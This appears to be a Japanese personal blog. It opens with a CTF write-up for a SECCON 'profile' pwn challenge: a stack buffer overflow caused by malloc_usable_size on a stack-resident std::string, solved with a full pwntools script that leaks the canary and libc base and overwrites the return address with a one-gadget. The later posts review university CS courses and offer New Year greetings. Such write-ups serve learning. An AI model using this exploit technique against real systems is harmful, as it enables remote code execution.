std::stringの正しい仕様は知らないが、少なくとも問題のバイナリでは、15bytes以下の文字列(末尾の\x00を入れて16bytes)はスタックに入るようで、前から順に「bufferのポインタ」、「文字列の長さ」、「文字列バッファ」が作られる(知らんかった)。

ところで、このバイナリは、Msg更新の際に、なぜかc_strを使って、バッファを取り出して、malloc_usable_sizeを用いて、長さを確認したのち、その長さ分だけreadするような関数を作って用いている。

このとき、c_strバッファがスタックにあると、未定義かどうかわからないが、とても大きな値をmalloc_usable_sizeが返すので、バッファオーバーフローが起こる。オブジェクトは、メッセージ関数の下の方にあるので、オブジェクト末尾のcanaryやfreeされるポインタのアドレスを破壊しないように気をつけつつ、リターンアドレスを書き換えれば良い。

以下回答スクリプト

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "profile.pwn.seccon.jp"
    port = 28553
    rce = 0x4526a
    libc_offset = 0x20740 +  240
else:
    host = "127.0.0.1"
    port = 3001
    rce = 0x4526a

    # 0x7f63a7c09830 <__libc_start_main+240>:   0x31000197f9e8c789
    libc_offset = 0x20740 +  240

def main():
    r = remote(host, port)
    def menu(select, verbose=False):
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(str(select))

    def update(msg):
        menu(1)
        s = r.recvuntil('>> ')
        print(s)
        r.sendline(msg)

    def show():
        menu(2)
        x = r.recvuntil('\n').replace('Name : ', '')
        y = r.recvuntil('\n').replace('Age  : ', '')
        z = r.recvuntil('\n').replace('Msg  : ', '')
        return (x, y, z)

    def exit():
        menu(0)

    def get_value():
        (x, y, z) = show()
        addr = u64(x[:8])
        return addr


    def introduce(name, age, msg):
        s = r.recvuntil('>> ')
        r.sendline(name)
        s = r.recvuntil('>> ')
        r.sendline(str(age))
        s = r.recvuntil('>> ')
        r.sendline(msg)
    msg  = 'ABCDEFGHIJKLMNO'
    name = 'ABCDEFGHIJKLMNO'
    introduce(msg, 1, name)
    #print('attach please. ok?')
    #raw_input()

    # add one byte.
    msg += 'A'

    update(msg+ '\x60')

    addr = get_value()
    if (addr & 0xff) != 0x60:
        print('miss...')
        r.close()
        main()

    print('name addr... {}'.format(hex(addr)))
    sleep(1)

    canary_addr = addr + 0x28
    update(msg + p64(canary_addr))
    canary = get_value()
    print('canary ... {}'.format(hex(canary)))

    base_addr = addr + 0x48
    update(msg + p64(base_addr))
    libc_base = get_value() - libc_offset
    print(hex(base_addr))
    print(hex(libc_base))

    ret2addr = libc_base + rce
    print('ret addr ... {}'.format(hex(ret2addr)))

    dummy = 'ABCDEFGHIJKLMNOPQRSTUVWX'
    buf = dummy + p64(ret2addr) + '\x00' * 0x40 # for one gadget rce
    update(msg + p64(addr + 0x10) + '\x00' * 0x20 + p64(canary) + buf)

    show()

    exit()

    r.interactive()
    print('finish...')

main()

理学部情報科学科の3S

なんとなくまとめてしまった。簡単な復習です。忘れないうちに。

全体としては、理情の授業は「コンピュータのシステムや"計算"という概念をあらゆるレイヤーで理解する」ことを目的に組まれているような感じで、「何かを作る」とか「何かを解く」というよりも「コンピュータ」とか「計算という概念」そのものが好きという人向けという感じがある(ので僕はとても好き)。まぁコンピュータ・サイエンスっていうのはそういうものなんだろうか。

課題そのもののネタバレは無いはず(多分)。

実験・演習

月:システムプログラミング実験

Operating SystemレイヤーやOperating Systemの一個上のレイヤーレベルの話を実践する実験。

第一回

シェルスクリプトを書くやつ。もう覚えてない。まぁシェルスクリプトを書けば良いはず。

第二回

Linuxシステムコールを実際に呼び出してみる回。getpidのシステムコールを生で呼び出すと遅いが、libcを介すると速いという話や、簡単なcpを作ったりwcを作ったり、最後はls -lを作る。結構綺麗に作れたりする。

ls自体は、自分がパイプでどこかにつながれているか、出力がすぐにターミナルに吐き出されるかで、色付けをするかどうかを変えているみたいな小話があった(課題とは全く関係ないが)。

それをするには、isattyを使えば分かる ようである。まぁもっともぼくはlsに色をつけなかったが。

https://stackoverflow.com/questions/1061575/detect-in-c-if-outputting-to-a-terminal

第三回

マルチスレッド回。マルチスレッドで遊びます、終わり

第四回

ネットワーク回。tcp/udpで遊びます、終わり。実際ココらへんは際どい話が多くて実際もう一度やれと言われても綺麗にできる感じがしないので、正しい理解にはもう少し精進が必要そう。

正直四回まではあんま真面目にやってなかった気が(ほんまか)。ちょうどこのあたりで僕のPCが壊れた。

第五-六回

シェルを作る。とくにfg, bg, jobsなどのジョブ管理コマンドが正しく動くように実装する必要がある。

シェルは、お互いに壊しあうのが結構楽しいようで、その中で出てきた一つcatをn個パイプでつなげた

cat | cat | cat | .. | cat

その中の右端でも左端でもないようなcatのプロセスをkillしたときの挙動というのが比較的面白かった(かつ課題の大筋とは関係ない)のでメモをしておくと、殺されたcatの左側はwriteしようとしたタイミングでSIGKILLを受け取り、これはデフォルトで終了するので、たかだかn回のenterによってすべての左側のcatプロセスは終了する。一方右側のcatは単純にEOFを受け取ることになり、終了する。

なので、パイプでつながれたcatはどれか一つ死ぬと、連鎖的に死んでいくことになる。かなしい

第七回

Linuxシステムコールを作る回。まぁ人生で一度くらいLinuxカーネルを自分のPCでコンパイルするくらいしてもよさそう。システムコール作るのはその余興

第八-十回

ベアメタル回。OSに頼らずにコードを書くことが求められる。livaさんが用意してくれた部分が多いのでややまだ理解の至らない部分が多い(なぜ、hoge番地でMMIOできるようになっているか?とか、そもそも例外ハンドラ部分は、「ハンドラ」を書いただけであって、GDTいじったりIDTいじったりみたいなことはしなかったりなど)。

しかし、普通やらないであろう実験であることは確かで楽しいものではあった。個人的には、最初の方の四回半分にしてこっち長くしたほうが理解度的に幸せになれそうな感じがあった(ほんまか)

やることは、簡単なページング、DMAによる時間の計測および画面にデータを出力、TSCとの比較、割り込みとspin lockの実装をする。

spin lock、原理自体は結局CPU潰して待つというだけなんだが、結構奥が深い用で、複数コアで来た順にロックを獲得できるような仕組みというのはいろいろあるようである。

まず本当に愚直に実装する場合は、単に一つのbitでロックの状態を管理し、atomic命令によってTestAndSetをすればよいのだが、これだと順序が保たれない。すなわち「横入り」されてしまうかもしれない。

これを回避するためにticket lockというのがある。これは、銀行とか病院の「番号札」のような仕組みで、自分の番号札になるまで待つ、ロックを解放する際に値を1増やす、のようなアルゴリズムを考えることができる。

これでもう十分な気もするわけだが、複数のCPUが同時に特定のメモリ領域を書き込み・読み込みすることがticket lockでは要求される。これはキャッシュロックの頻発や、キャッシュラインのプロセッサ間での転送(cache line bouncing)が多発することになり、パフォーマンスに影響する。

これを防ぐために、単純に「待っている人の数」だけ待ち時間を増やすbackoffテクニックというのがある。またこのような単純なアプローチではなく、ロックの構造自体をCPU一つ一つに与えて、それぞれのCPUはその構造を監視する。この構造はリンクリスト的になっていて、自分が解放された際には、次にロックを獲得するものがいれば、隣の人のフラグを立てる、というようにする
このようにすることでcache line bouncingを極力抑えることができるようになる。

spin lockといっても非常に低レベルな問題によって工夫の仕様があるんだなあという気持ちになる

参考
https://lwn.net/Articles/531254/
https://lwn.net/Articles/590243/

なんか色々書いてしまった

第十一回

ドライバ作成回もとい生のEthernetパケットをいじる回である。ARP, IPv4, UDP, DHCPなどをいじって楽しむ。

課題的には、ドライバの仕様書を読んで理解しような っていうフェーズの部分がとてもエスパーのように感じたが、しかし全体としては僕は好きだった(あまり触れたことがない部分だったため)。

ARPとかは目で見れば読めるようになった(ほんまか)気がする。


f:id:moratorium08:20180820180136p:plain


火:関数論理型実験

名前の通り関数型言語OCamlと論理型言語Prologについて学ぶ実験。驚くべきことにこの実験でRustも勉強してしまった。

ところでこの実験のおかげでTeX力が1あがった(0から)

1-4回

OCaml自体で遊びます。Church数をOCamlで書くと、predに型がつかなくなってしまうので困りますね、という話や、副作用周りの話、Curry Howard isomorphism周りの話、モジュールを使ったGADT、リストモナドの"別実装"など。FLに一貫して言えるが、こういう発展的な"ネタ"は素直にOCamlを学んでいるときには見えにくい話なので、こういうの良いな〜っていう感じである。

5-9回

OCamlインタプリターを作ります。lex/yaccから始まり、MLの基本機能を実装し、最後はlet多相を実装します。最後rank 2 多相を実装するというのがありましたが、残念ながらできていない。

let多相は、TAPLの22章Type Reconstructionあたりを実装する感じで、22.7のp334にある例

```ocaml
let x = fun x -> (x, x) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
let x = fun y -> x (x y) in
x (fun x -> x);;
```
という式は少なくともOCamlバージョン4.06.1では、型がつかない。これは型がつかないのではなく、型推論が「終わらない」。これに型がつく(推論が生きている時間で終わる)ように拡張したりする。

unifyの回は、let多相が案外コーナーケースがあるらしく、意外と正しく実装するのは難しいらしい。

10-12回

最初にPrologで遊びます。tic tac toeを完全解析するような述語を作ったりする。

そして、Prologを作ります。なんとなく公開する(まぁprolog処理系はいくらでも書きようがありそうなので)。

https://github.com/moratorium08/pyoyog

基本的に後半はPrologが論理的におかしい挙動をするという話が行われる。Prologがどのように動作するかというのはWikipediaのSLD導出を見たほうが良いが、Prologの実装が必ずしもそれに沿ってないというのが問題となる。

これの最たる問題として


のような問題がある。これらを解決したProlog風処理系を作るのが課題になる。

13回

オセロの思考ルーチンを作る課題。これはOCamlでもHaskellでも P r o l o gでも良い。そしてなぜかRustでも良かった(許された)(なぜ?)。なので、Rustで書いたのだが、割とRustの勉強になってよかった。nomはlex/yaccになれた人間がいきなり使うと割としんどかったが。

書き始めるとわかるが、OCamlのint型は63bitで、64bit目はGCのために使われるらしい。しかしこの性質が今回の課題ではやや仇で、オセロのbitboardを実装する際できれば64bitの整数が欲しくなる。もちろんより処理の遅くなった64bit型整数というのがOCamlにも存在するが、bitboard上の演算は、速いほうがうれしそうという理由でRustで書いたほうが良いという話があった

ただ、Rustの場合、サーバーとの通信を行うクライアント側のコードなども自分で書く必要があり少ししんどかった。

あとあんまり強くならなかったので悲しい。評価関数学習はそんなに簡単ではなかった。

木:ハードウェア実験

詳細に書くのがしんどくなってきたので、以降適当にまとめる

ハードウェア実験はVerilogとVivadoに""あいさつ""するような内容。少なくとも理情で学ぶ言語たちに比べてクセが強いのでお気持ちを理解するような感じで、多分秋のCPU実験に備える、ないしコア係にはならんぞの気持ちを高める。

これしばしばVivadoの仕様(バグでは?!)みたいなのものに引っかかってしんどい気持ちになることがあり、よく引っかかったのが、

  • 代入時の左右のビット数違い
  • 勝手に最適化

の2つである。後者はとくにしんどく、ちゃんと回路がどのようにマッピングされたかを結局のところ見ましょうね〜という話らしい。ひえ〜

具体的な内容は前半4回ほどで、簡単な加算器とかフリップフロップをブレッドボードで作るやつをやった後に、残りでVerilogで回路を書いて、FPGAで動かす、というのをする。内容は、整数の割り算回路、浮動小数点数加算回路、UARTによる通信、AXI4バスのデータ転送回路である。最後のデータ転送あたりは、CPU実験が透けて見える内容になっていて、転送命令のFetch/Decode/Exec/Writeの工程をパイプライン化して速くするような課題をやった。

多分3Sでは一番の低レイヤーだった。

金:演習1

離散数学と情報論理の演習である。隔週で交互に行う。それぞれ単位を取得するために問題の解答を発表する必要があるので、少し盛り上がる。基本的には、問題を解く授業で、それぞれグラフ理論の問題と論理の問題が配られる。

必須課題は必須(単位をとるために)であるが、それ以外に配られる問題も、離散数学・情報論理、両方について"すべての問題を理解する"ことが期待されているが、割とかなりの量の問題があるので割と厳しい。

先生とTAの方々がかなり熱心に見てくださるので、色々とアツい感じの授業だった。

講義

講義は1限が無い、出席をほとんど取らないので期末試験でできれば(基本的に)良いという感じなのがとても良い。
実際演習は(真面目にやると)少し重めなので、授業出ずに課題やっていることもあった(良いことかは知らないが)

月:Operating System

OSの各種仕組みに関して概観する授業。マルチプロセス・マルチスレッドの周りのよくある話(Race Condition, Dead Lockとかそういう話)、CPUスケジューリングの話(FCFSからRate Monotonic, EDFおよびマルチプロセスの際のスケジューリング問題)、仮想記憶の話やPage Fault時のReplacementアルゴリズム周り(LRUやLRUの近似アルゴリズムについて)、IOとファイルシステム・権限周り、最後にバッチシステムや並列分散コンピュータ・メニーコアなどの話が非常にざっくりあった。なんか最後のメニーコア・GPGPUあたりの話が先生的には好きそう。

スライドが包括的で良いが、しかししばしばおかしなところがあったりしてfuga、まぁお気持ちで読めるが。授業にはあまり行かなかった。

火:離散数学

グラフ理論の話。グラフの基本的な話から、フロー、線形計画法・単体法、マトロイドの話が、双対性を軸に進む。

内容が半分競プロで、まぁフロー周りとかは完全に競プロでは。単体法の計算がしんどい。マトロイド周りはどちらかというと、"数学"という感じで、あまり深くやってないのでなんとも言えないが、触りをやった。あと、""予告問題""として、「polymatroidを用いて、Kruscalアルゴリズムの妥当性を証明する問題」を出そっかな〜って言っていたのでオッってなったが出なかった(何)。

あまり真面目に授業に出ていなかったのでなんとも言えない・・・。

水:情報論理

計算可能性、等式論理、命題論理、述語論理と最後にゲーデル不完全性定理周りについて。教科書が英語。

内容が非常に広いので僕はどれほど理解できているかはわからない。ある意味初習論理 という感じで、多分反復深化が求められている。

計算可能性については、primitive recursive functionから始まり、recursive functionとwhile プログラムの等価性の話や、universal recursive functionとhalting problem周りの話、そしてRecursively Enumerable Predicateの話が続く。

各論理は、syntaxとsemanticsそれぞれについて議論した後に、健全性・完全性の話をする。特に、述語論理の完全性では、Herbrandの定理周りの話を(他の話題に比べて)深くやって、ある程度真面目に議論していた(と思う)。
まどかちゃんコンパクト性ss compact.pdf - Google ドライブ などが面白かった(ほんまか)。


木:言語処理系

コンパイラ周りの理論の授業。字句解析から始まり、LL・LR文法、型周り、中間コード生成と最適化、レジスタ割当などの話。二村射影も。

基本的に
[:タイガー本] は、https://www.amazon.co.jp/Modern-Compiler-Implementation-Andrew-Appel/dp/0521607647に沿った内容ではあるが、スライドが良いし、先生が良い(個人的な感想)。3S講義では一番好きだった。この授業は全部行ったと思う。

金:計算機構成論

コンピュータ・アーキテクチャの授業。最初の方は、2Aの計算機システム・ハードウェア構成法との被りを感じる部分もあったが、パイプライニング周りの話やOut of Order・スーパースカラ周りの話は僕が知らない話だったので面白かった。もっともあまり授業には行っておらず、教科書を読んでいただけなのでhoge

まとめ

最後のほう少し書くの疲れてしまった。

あけましておめでとうございます

年賀状を書きました(さっき)

とてもやっつけです。http://bit.ly/befunge18で実行できるので試してみてくれるとそれはとってもうれしいなって。


f:id:moratorium08:20180101162518p:plain


今年もよろしくお願いします。

2017年の総括

 毎年振り返っているので今年も振り返ろうかなと思います。そうはいっても2016年の総括を書いているのが本当に先週くらいかな?と思うほど1年が過ぎていくのが早かったので少々恐ろしい気持ちです。最近は分身を体得すべく努力しています。

  以下ポエムです。

と思ったんですが、ポエムを書く気力がなかったのでやめます。気の赴くままに過ごしていました。来年も気の赴くまま好きなことをして嫌いなことはしないモラトリアム期間を過ごして行きたいなと思います(ほんまか?)